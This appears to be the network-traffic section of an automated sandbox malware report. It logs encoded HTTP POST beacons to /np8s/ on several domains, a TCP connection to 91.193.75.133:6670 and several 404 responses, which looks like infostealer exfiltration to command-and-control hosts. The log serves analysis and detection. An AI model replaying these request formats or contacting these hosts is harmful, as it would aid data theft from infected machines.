51 46 65 30 2d 5a 45 6b 74 6e 57 65 45 30 78 6a 31 78 76 39 39 56 6d 4d 76 55 6c 71 6b 56 6f 63 6f 4b 43 6d 58 78 67 44 59 4d 34 62 73 4a 44 4c 51 37 55 30 6a 4d 6d 61 6b 6c 6e 74 6e 32 78 33 4c 79 7a 45 44 64 4b 4a 35 69 57 49 39 57 6a 44 46 6f 64 4e 4f 61 58 32 43 31 64 77
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.ratebill.comConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.ratebill.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.ratebill.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 42 43 6b 47 48 6c 45 74 28 69 41 49 73 62 79 4d 43 49 54 4c 48 75 7e 4f 39 6b 6b 73 45 30 56 74 4f 75 70 6b 66 30 4b 53 4e 56 55 4e 73 74 44 44 57 6f 44 62 48 6d 4e 42 7e 67 72 55 72 68 4f 4a 67 36 78 71 78 43 75 38 65 42 61 63 38 68 54 6f 54 65 61 79 54 37 36 31 44 70 78 70 44 74 4f 6e 71 7a 54 45 6f 4c 64 56 68 54 72 38 70 76 45 67 50 59 7e 4f 39 69 38 61 6a 30 68 37 28 39 6d 56 55 5a 5a 70 74 47 6b 49 77 45 44 5a 74 45 39 49 78 42 67 41 37 5f 33 38 6c 62 4d 75 41 4b 67 7a 67 42 4c 65 68 55 5a 4e 57 57 48 6f 4d 51 6a 6d 44 5f 5a 52 72 47 35 70 28 75 7e 36 4a 46 43 63 32 53 39 46 64 52 4a 76 76 39 62 33 72 45 69 56 4e 65 28 51 6c 38 75 64 41 5f 6d 74 72 38 72 4a 39 63 48 4c 4b 4a 38 6a 78 34 55 53 45 4c 70 6b 58 55 62 5f 73 57 72 32 6e 44 38 39 72 47 6c 30 6f 4d 4b 33 63 38 55 64 75 43 36 55 45 62 74 4d 46 5a 54 7a 77 35 69 4f 75 4e 4d 50 76 77 46 43 46 51 7a 6f 62 4e 51 4e 55 4c 4f 32 36 55 75 51 4b 69 33 47 79 75 59 6c 77 76 69 6f 62 61 32 33 31 73 57 39 4e 4a 54 77 6f 48 78 72 61 4f 79 6c 38 49 72 35 70 45 7a 6c 71 45 76 79 45 43 4e 6c 4e 41 39 77 68 49 6f 54 48 44 7e 72 4e 34 37 4a 39 4d 36 5f 37 45 38 6c 42 4a 48 6e 35 31 49 4e 4f 41 6d 53 4d 48 31 30 31 35 58 4e 63 43 6e 30 38 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=BCkGHlEt(iAIsbyMCITLHu~O9kksE0VtOupkf0KSNVUNstDDWoDbHmNB~grUrhOJg6xqxCu8eBac8hToTeayT761DpxpDtOnqzTEoLdVhTr8pvEgPY~O9i8aj0h7(9mVUZZptGkIwEDZtE9IxBgA7_38lbMuAKgzgBLehUZNWWHoMQjmD_ZRrG5p(u~6JFCc2S9FdRJvv9b3rEiVNe(Ql8udA_mtr8rJ9cHLKJ8jx4USELpkXUb_sWr2nD89rGl0oMK3c8UduC6UEbtMFZTzw5iOuNMPvwFCFQzobNQNULO26UuQKi3GyuYlwvioba231sW9NJTwoHxraOyl8Ir5pEzlqEvyECNlNA9whIoTHD~rN47J9M6_7E8lBJHn51INOAmSMH1015XNcCn08g).
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.ratebill.comConnection: closeContent-Length: 36477Cache-Control: no-cacheOrigin: http://www.ratebill.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.ratebill.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 42 43 6b 47 48 6e 51 37 78 32 77 56 78 62 50 73 57 65 58 66 50 5f 75 4d 78 30 6f 6a 61 47 51 74 4b 61 74 61 41 68 32 6a 63 67 51 62 6f 64 65 54 53 75 58 54 48 6e 38 6c 77 7a 50 75 76 42 4b 4b 67 37 56 55 78 43 71 38 66 41 79 4d 38 47 66 4f 55 38 69 39 52 62 36 4a 45 70 77 76 56 63 53 4b 71 7a 57 52 6f 4c 45 4b 68 6a 48 38 6f 4e 38 67 4a 5a 7e 4a 69 53 38 44 67 30 52 6e 37 39 72 48 55 5a 42 68 74 43 6b 49 78 30 50 5a 33 6b 74 4a 6d 57 4d 44 6a 5f 32 58 7a 4c 4d 4e 4f 71 6c 41 67 42 48 77 68 52 35 4e 57 41 76 6f 44 67 44 6d 49 75 5a 53 7e 6d 35 73 73 2d 7e 6a 4e 46 50 45 32 53 52 5a 64 56 52 56 75 49 62 33 6c 55 69 59 63 5f 37 75 75 39 75 30 43 5f 53 61 72 39 58 6b 39 4e 71 59 4b 4c 35 47 6e 36 4d 70 59 2d 31 65 58 52 4c 42 76 32 71 5f 76 6a 38 71 72 47 6c 45 6f 4d 4b 5a 63 39 6b 64 75 44 79 55 46 49 46 4d 48 61 36 6c 76 5a 69 4c 71 4e 4d 72 7e 67 5a 75 46 51 71 6d 62 4d 39 49 55 37 69 32 37 45 53 51 65 33 72 48 77 75 59 6a 67 5f 69 67 66 61 32 34 31 73 57 4c 4e 49 53 74 76 30 31 72 49 76 79 6c 73 61 44 35 6c 55 7a 6c 6d 6b 76 77 4c 69 42 50 4e 41 31 38 68 49 5a 6d 48 77 53 72 49 36 44 4a 7a 4a 61 5f 34 30 38 6c 4f 70 48 35 32 30 52 42 47 77 75 5f 4c 6e 30 44 70 61 43 36 53 47 76 5f 67 75 48 56 41 34 78 5a 4d 6f 70 2d 31 65 47 35 79 72 55 52 33 54 56 69 4b 78 7e 4c 75 5f 35 4d 67 6d 58 36 43 58 69 31 38 4b 52 4e 73 48 6f 56 49 73 4b 46 4c 4a 68 42 68 73 31 4f 58 6f 7e 67 76 53 53 77 55 65 68 52 71 73 71 67 49 58 32 5a 4e 6b 77 6c 7a 69 43 6b 52 6c 49 77 39 61 45 43 55 61 7a 30 41 50 70 73 41 57 70 47 6d 55 64 39 74 53 44 33 54 6e 74 38 6a 63 58 43 41 78 6e 48 47 63 4c 30 54 63 69 53 68 64 4d 6f 31 44 55 57 64 51 71 41 54 41 53 63 7e 74 7e 69 77 59 47 46 4a 76 32 79 68 41 6b 6e 41 76 58 5a 73 57 28 4b 53 71 57 4d 64 68 57 78 4f 59 6c 74 5a 30 55 41 71 48 45 6f 46 73 76 74 6c 6a 54 31 43 71 7a 2d 50 6b 53 4f 28 4c 47 74 65 34 41 6e 39 66 6d 4d 69 71 79 52 68 6c 6f 42 6e 36 56 74 76 6a 7e 47 7a 75 69 6e 78 54 58 78 61 4d 64 54 36 47 62 35 36 4b 63 57 49 49 62 74 28 37 5a 4f 79 71 71 68 57 67 5a 4c 6c 6b 75 77 44 32 66 78 70 37 31 51 68 61 74 41 6a 2d 4f 6c 4b 38 30 67 74 31 7e 54 77 70 42 61 47 69 61 53 50 74 36 41 63 41 35 32 36 2d 63 38 28 67 7a 43 41 76 6a 49 4c 69 78 51 61 33 43 6f 6a 6e 4b 64 5a 59 50 4d 46 45 6e 50 73 74 63 36 28 61 48 73 73 66 4b 68 45 30 53 79 59 4b 28 31 66 55 55 55 38 66 57 4c 6d 34 70 63 71 47 39 6f 36 5f 4a 39 75 2d 76 5a 45 6a 4e 33 37 61 4a 4a 69 75 46 74 38 5f 79 6d 73 6e 54 4b 78 67 66 2d 58 63 44 6d 56 39 4b 61 43 74 47 51 76 58 38 55 65 71 79 69 59 52 75 4a 4e 4f 32 43 4e 67 79 4e 6c 69 59 64 65 4c 79 4a 35 4e
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.topings33.comConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.topings33.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.topings33.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 78 33 62 6f 4f 32 30 54 63 6b 62 46 62 45 58 79 63 37 47 52 61 54 64 70 54 53 62 71 63 39 4c 5a 48 34 58 45 31 76 79 51 34 6a 76 47 62 61 4d 2d 38 79 31 62 64 76 59 67 48 50 49 74 35 69 6b 75 55 4e 54 53 31 5a 78 49 50 46 34 48 39 54 56 6b 69 36 6c 49 52 36 79 70 7e 4b 61 69 73 52 73 67 39 65 47 39 34 30 51 4b 7a 46 44 61 47 63 44 73 53 70 33 42 73 4d 39 36 77 37 33 5a 42 71 33 4a 79 38 72 71 32 46 79 30 4f 71 79 41 31 52 79 4d 39 57 35 77 73 55 28 56 44 52 4a 64 41 73 28 6d 62 64 69 63 28 64 70 53 35 56 47 42 63 39 41 2d 55 6f 6f 35 45 58 4f 57 68 33 70 59 63 71 67 70 72 6f 4f 38 38 2d 45 56 50 37 7a 4c 41 47 31 46 66 63 37 56 78 4a 63 50 75 35 38 63 72 49 77 77 46 68 77 39 55 6b 35 62 41 7a 76 4f 70 53 56 38 41 44 4f 5f 43 33 51 43 59 36 37 33 34 6b 70 54 57 73 56 2d 31 4a 66 34 4c 49 79 4f 7e 2d 61 77 65 6b 72 38 42 34 66 4d 44 74 71 6e 35 77 37 4a 76 4a 52 6b 62 78 71 75 6a 30 33 6c 61 56 36 6d 50 69 46 6d 6f 75 55 5f 66 6d 4e 51 43 73 34 4f 34 78 5a 4c 6d 6c 59 31 68 32 4d 59 6c 63 71 41 73 70 4c 76 76 7a 4d 38 31 51 34 46 64 35 43 4b 54 4a 75 38 50 38 54 74 32 78 4c 50 4a 47 42 58 4d 36 52 47 6c 68 6b 64 41 5a 59 39 28 68 68 36 47 55 32 59 35 68 37 30 69 39 71 6d 66 53 7e 68 6b 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=x3boO20TckbFbEXyc7GRaTdpTSbqc9LZH4XE1vyQ4jvGbaM-8y1bdvYgHPIt5ikuUNTS1ZxIPF4H9TVki6lIR6yp~KaisRsg9eG940QKzFDaGcDsSp3BsM96w73ZBq3Jy8rq2Fy0OqyA1RyM9W5wsU(VDRJdAs(mbdic(dpS5VGBc9A-Uoo5EXOWh3pYcqgproO88-EVP7zLAG1Ffc7VxJcPu58crIwwFhw9Uk5bAzvOpSV8ADO_C3QCY6734kpTWsV-1Jf4LIyO~-awekr8B4fMDtqn5w7JvJRkbxquj03laV6mPiFmouU_fmNQCs4O4xZLmlY1h2MYlcqAspLvvzM81Q4Fd5CKTJu8P8Tt2xLPJGBXM6RGlhkdAZY9(hh6GU2Y5h70i9qmfS~hkQ).
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.topings33.comConnection: closeContent-Length: 36477Cache-Control: no-cacheOrigin: http://www.topings33.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.topings33.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 78 33 62 6f 4f 79 31 49 59 58 66 6d 58 30 61 55 52 70 32 4e 43 7a 74 72 66 43 66 6c 5a 38 57 48 4e 70 6e 36 78 74 37 6d 37 6a 6e 6d 52 4b 51 66 33 54 68 44 64 76 6f 5a 63 74 39 71 75 79 67 74 55 4e 72 38 31 5a 6c 49 4f 47 49 58 36 30 5a 65 69 5a 4e 50 63 36 79 56 39 4b 61 42 36 53 70 41 39 66 58 53 34 30 59 61 30 31 76 61 45 2d 4c 73 55 6f 33 4b 7a 63 39 38 76 4c 48 64 46 71 7a 2d 79 38 79 70 32 41 53 30 4f 61 7e 41 30 78 43 54 37 56 52 7a 32 30 28 51 47 52 4a 45 4f 38 79 42 62 63 57 79 28 63 35 53 36 6d 79 42 64 73 67 2d 45 50 63 36 4c 33 4f 54 77 6e 70 76 50 36 6b 34 72 6f 53 67 38 5f 77 76 4d 4b 48 4c 43 32 31 2d 61 50 72 33 37 36 45 69 6f 36 68 38 72 49 39 65 45 77 73 6c 55 67 78 33 51 77 32 6d 33 41 4e 47 41 42 43 46 4f 33 51 47 51 61 36 31 34 6b 6f 6b 57 73 56 41 31 4e 62 34 4c 4c 69 4f 34 2d 4b 77 59 67 4c 5f 65 34 66 4a 48 74 71 6c 39 77 28 70 76 4a 59 35 62 78 47 41 6a 6e 7a 6c 63 41 6d 6d 49 45 5a 6c 39 75 55 31 4d 57 4e 49 50 4d 34 5f 34 78 5a 6c 6d 6b 5a 75 67 46 34 59 6b 4e 71 41 76 50 28 76 71 44 4d 38 37 77 34 48 53 5a 50 52 54 4a 6e 30 50 39 69 50 32 47 37 50 4a 58 68 58 4d 62 52 47 6d 52 6b 64 5a 4a 5a 2d 36 54 35 32 4e 6b 37 53 79 55 79 5a 36 2d 48 49 4c 54 66 32 33 76 42 59 44 69 4c 49 6f 47 77 48 45 77 39 59 4e 63 47 64 50 44 72 2d 70 6f 47 42 47 62 4b 58 6f 77 75 66 61 47 66 70 57 68 72 69 59 44 6f 64 4d 70 42 77 6a 57 79 6c 44 4a 72 4f 76 6f 71 4c 43 76 73 39 55 49 77 38 67 75 36 75 41 59 4b 64 55 59 41 48 53 51 62 4e 56 52 28 62 5a 30 39 50 4e 56 75 48 73 30 39 7a 44 38 57 63 44 7a 5a 52 72 4e 31 47 55 6d 47 4f 4e 77 4d 69 54 6a 33 35 63 45 71 6f 67 4b 68 39 58 62 72 62 45 4f 6e 46 38 37 46 59 77 67 43 4d 37 69 62 5a 66 4b 48 44 4c 6f 73 7a 6b 57 69 44 43 62 33 66 42 4e 41 42 28 44 36 4a 69 37 6a 46 57 5f 44 61 71 2d 70 6d 54 68 61 31 66 66 62 32 44 51 32 38 71 44 39 6a 57 49 77 6e 7a 75 6e 49 70 7a 6c 58 38 48 71 67 63 77 39 52 4a 67 4b 6a 52 70 64 72 71 61 52 66 58 50 28 4b 64 64 5a 2d 52 4f 79 49 30 71 61 4b 70 49 65 6e 7e 2d 49 48 78 42 4f 5f 35 46 7e 48 41 6c 49 59 41 37 54 32 79 75 5a 76 35 71 63 71 6e 6c 33 76 5a 78 43 6e 72 33 33 67 4c 4a 61 46 43 52 48 4b 53 53 41 46 51 79 39 33 42 33 57 34 57 31 51 41 69 5a 70 56 34 56 54 62 79 55 33 73 73 64 6d 66 6f 58 55 48 77 76 33 56 35 41 65 76 59 4f 63 5f 4b 32 53 79 67 76 6d 77 50 48 4c 6a 56 62 50 55 42 55 67 49 67 36 30 74 34 59 77 68 56 6c 46 37 6b 47 30 33 74 34 46 43 78 43 38 43 47 6f 53 37 4d 70 79 46 4b 6d 39 4f 32 4c 36 51 46 58 52 4b 37 6d 4f 4f 34 47 76 34 68 45 74 76 67 5f 53 56 35 35 51 34 4c 72 32 63 73 36 35 70 7e 45 4d 51 44 4e 73 57 51 4e 32 4d 42
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.jlbwaterdamagerepairseattle.comConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.jlbwaterdamagerepairseattle.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 53 39 54 57 7a 6a 54 34 6d 34 78 55 56 49 6a 61 73 47 34 71 30 72 6c 77 6d 4a 77 72 34 4a 34 34 74 39 4d 76 34 4b 57 39 74 39 4e 74 79 31 52 38 31 78 74 34 39 46 58 46 37 45 76 32 70 58 42 30 28 41 74 37 69 4b 36 71 49 56 6d 76 39 73 4d 53 73 6e 41 6f 70 2d 56 39 53 42 76 38 56 6d 62 59 35 51 63 55 28 2d 69 69 4b 52 56 62 47 6c 51 6d 4e 68 38 31 4d 4d 43 69 4e 57 39 79 63 45 66 74 49 6e 7e 31 6a 7a 49 58 69 73 76 52 77 69 42 55 49 35 61 67 4c 73 65 51 42 38 72 6d 32 74 66 31 4e 69 62 63 33 2d 4a 73 33 76 37 70 36 4e 43 2d 4f 33 37 67 69 6f 54 58 5a 53 5a 55 7a 5a 35 4e 75 72 72 74 39 4e 31 73 6d 52 32 7a 49 38 44 31 4b 4d 46 31 6f 44 4b 4a 42 6f 54 76 7e 31 70 57 45 35 37 32 42 6e 58 79 67 69 79 73 53 50 4e 42 54 5f 6b 43 6d 51 55 37 54 7a 79 6d 69 47 4c 79 7a 36 76 2d 77 38 52 5f 69 64 4b 54 6f 4e 36 4d 6f 5f 45 32 33 4c 50 4e 31 62 47 73 58 4d 4e 6b 4f 50 67 57 32 69 6a 6c 70 51 77 2d 6e 50 39 51 36 48 68 72 63 50 77 6f 53 41 71 74 6f 37 62 64 44 71 56 50 35 74 30 49 6b 56 67 31 41 36 48 4d 73 7a 59 6d 55 38 4a 66 30 43 66 38 52 59 6e 76 64 62 6a 78 47 77 72 4b 41 6b 49 7a 6f 6b 41 6f 4c 6d 39 59 49 34 67 5f 4c 79 41 34 76 4f 55 52 39 4f 75 58 44 32 7a 79 53 51 78 4a 46 47 6d 48 73 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=S9TWzjT4m4xUVIjasG4q0rlwmJwr4J44t9Mv4KW9t9Nty1R81xt49FXF7Ev2pXB0(At7iK6qIVmv9sMSsnAop-V9SBv8VmbY5QcU(-iiKRVbGlQmNh81MMCiNW9ycEftIn~1jzIXisvRwiBUI5agLseQB8rm2tf1Nibc3-Js3v7p6NC-O37gioTXZSZUzZ5Nurrt9N1smR2zI8D1KMF1oDKJBoTv~1pWE572BnXygiysSPNBT_kCmQU7TzymiGLyz6v-w8R_idKToN6Mo_E23LPN1bGsXMNkOPgW2ijlpQw-nP9Q6HhrcPwoSAqto7bdDqVP5t0IkVg1A6HMszYmU8Jf0Cf8RYnvdbjxGwrKAkIzokAoLm9YI4g_LyA4vOUR9OuXD2zySQxJFGmHsg).
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.jlbwaterdamagerepairseattle.comConnection: closeContent-Length: 36477Cache-Control: no-cacheOrigin: http://www.jlbwaterdamagerepairseattle.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 53 39 54 57 7a 69 75 7a 6f 6f 73 43 62 34 28 35 71 78 6f 2d 67 72 31 49 6c 35 30 30 32 6f 55 6a 37 66 6b 64 32 76 72 50 75 38 6b 77 6a 57 30 65 6a 44 64 67 39 46 48 67 33 57 62 36 34 6e 46 31 28 41 45 71 69 4b 32 71 4a 57 58 6b 7e 4e 63 30 74 46 59 70 72 65 56 46 54 42 75 34 52 6e 47 49 35 54 77 71 28 39 43 79 4b 43 52 62 46 44 63 6d 63 53 6b 45 50 73 43 6b 46 32 74 75 42 30 54 4b 49 6a 62 6f 6a 32 6f 58 69 63 6a 52 28 6a 78 56 41 65 4f 6e 66 73 66 61 58 73 72 37 73 64 6a 4c 4e 6b 48 45 33 5f 31 73 77 64 66 70 36 5a 79 2d 49 41 75 32 70 34 54 65 64 53 5a 54 6c 70 38 54 75 76 4c 70 39 4d 78 38 68 6a 71 7a 4c 73 44 6f 41 37 34 56 35 67 54 4c 53 6f 6e 49 7e 31 74 37 46 74 36 6c 42 6d 4b 68 32 6e 32 35 57 74 56 34 54 39 6f 6b 6b 77 55 6e 63 54 79 39 69 47 4c 43 7a 36 75 64 77 38 4e 5f 69 63 53 54 6e 39 4b 4d 35 74 64 67 31 37 50 55 28 37 47 79 54 4d 77 5f 4f 50 35 39 32 67 58 50 70 41 4d 2d 31 71 68 51 79 44 42 6f 4a 50 78 74 54 41 72 77 31 72 62 6b 44 71 55 69 35 76 64 4e 6b 43 6f 31 41 72 48 4d 76 52 41 6d 54 63 4a 66 78 43 66 69 66 34 71 6b 64 62 37 74 47 77 62 61 41 53 45 7a 6f 31 67 6f 4c 43 70 59 4c 49 67 5f 53 69 42 7a 76 63 39 65 36 39 32 63 4a 56 69 4b 4e 52 70 62 47 31 6a 34 34 46 49 51 28 68 62 42 59 33 70 57 39 42 6b 72 7e 65 78 36 52 4a 69 6f 7a 4e 79 57 36 30 66 67 54 38 41 52 61 72 76 36 76 4b 57 79 67 42 49 31 47 73 34 65 77 45 55 68 4a 52 7a 62 46 49 57 31 64 56 6a 2d 63 6f 64 4a 55 31 6c 42 65 79 70 4e 51 55 39 36 4d 4d 36 33 71 37 6c 4c 73 4c 7e 44 5a 4b 50 30 55 42 44 30 49 61 33 34 79 78 7a 4f 33 75 34 76 54 57 39 52 39 4f 6b 64 33 71 47 66 58 55 74 39 37 2d 53 30 51 57 58 52 38 50 48 6a 45 6b 4c 69 59 62 4d 4b 56 35 69 6c 61 4b 63 56 48 58 49 56 58 58 79 33 53 69 72 33 63 73 57 4c 69 70 70 4e 6e 42 64 69 38 6d 43 31 75 6e 43 49 53 70 54 6c 4f 6e 63 48 48 72 6c 4e 46 63 4c 68 47 51 4b 58 43 67 4f 71 47 63 30 55 4f 72 6d 63 49 65 34 74 56 6e 52 6d 76 59 54 30 66 47 6c 61 77 53 4b 4a 36 67 54 66 34 59 50 48 72 38 7a 71 7a 36 48 44 61 47 41 50 49 65 49 32 68 39 48 4d 44 62 4a 36 4a 31 41 6c 54 32 72 58 57 4f 56 49 72 41 4d 4d 66 48 7e 6d 69 6f 53 6a 36 69 44 4a 51 50 50 36 74 47 79 36 47 58 67 51 7e 2d 57 42 48 45 72 65 30 6b 75 32 4b 6e 4d 44 31 51 47 63 55 69 54 65 78 75 28 49 6a 64 65 56 56 6a 69 58 5a 6c 41 57 61 47 53 42 79 69 4b 4e 6b 33 55 68 72 41 35 73 55 73 7a 66 74 77 47 37 4c 6a 71 41 37 6f 62 4a 6c 44 79 66 46 6d 47 55 4a 75 34 4d 41 33 56 30 39 78 6f 58 6a 6d 33 49 74 47 77 52 59 6a 6f 5a 53 39 34 70 70 46 6d 4a 50 67 7a 61 36 36 59 6e 39 4c 63 70 73 52 64

Source: global traffic

TCP traffic: 192.168.2.5:49736 -> 91.193.75.133:6670

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 May 2022 16:42:49 GMTServer: nginx/1.19.10Content-Type: text/htmlContent-Length: 583Last-Modified: Tue, 15 Mar 2022 21:44:23 GMTAccept-Ranges: bytesVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 5f 73 6b 7a 5f 70 69 64 20 3d 20 22 39 50 4f 42 45 58 38 30 57 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6a 73 69 6e 69 74 2e 64 69 72 65 63 74 66 77 64 2e 63 6f 6d 2f 73 6b 2d 6a 73 70 61 72 6b 5f 69 6e 69 74 2e 70 68 70 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 69 64 3d 22 73 6b 2d 6c 6f 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <script language="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 May 2022 16:43:00 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 279Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70 69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.topings33.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecontent-type: text/htmlcontent-length: 252content-encoding: gzipvary: Accept-Encoding,User-Agent,User-Agentdate: Fri, 27 May 2022 16:43:24 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 0e 82 40 10 05 fb fb 8a 95 5e 17 0c e5 66 13 61 97 dc 25 27 10 b3 14 f4 5c 42 25 51 e1 ff 0d d2 58 be 99 79 74 92 ae b6 b1 57 f0 76 8f d0 0f 55 0c 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51 db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2c db 73 22 3c a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39 c1 3b bd b6 f4 59 d3 04 c3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 0c 00 d0 de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a 1e bf 4b a2 59 df f7 7c 1b b3 78 30 14 68 5d e1 ec 6f 4b d0 1b e8 9d 05 84 f8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09 2b 5e c4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 f7 b4 e3 b2 d1 77 f2 77 89 b4 b3 d1 f7 08 f1 f5 b1 e3 1a c9 00 00 00 00 ff ff 03 00 1f 08 e8 aa f0 01 00 00 Data Ascii: L@^fa%'\B%QXytWvU5dg aQMe^B,s"<#ETu2_9;Y# )2n%*KY\|x0h]oK#vSX85{n+^40rG?ww
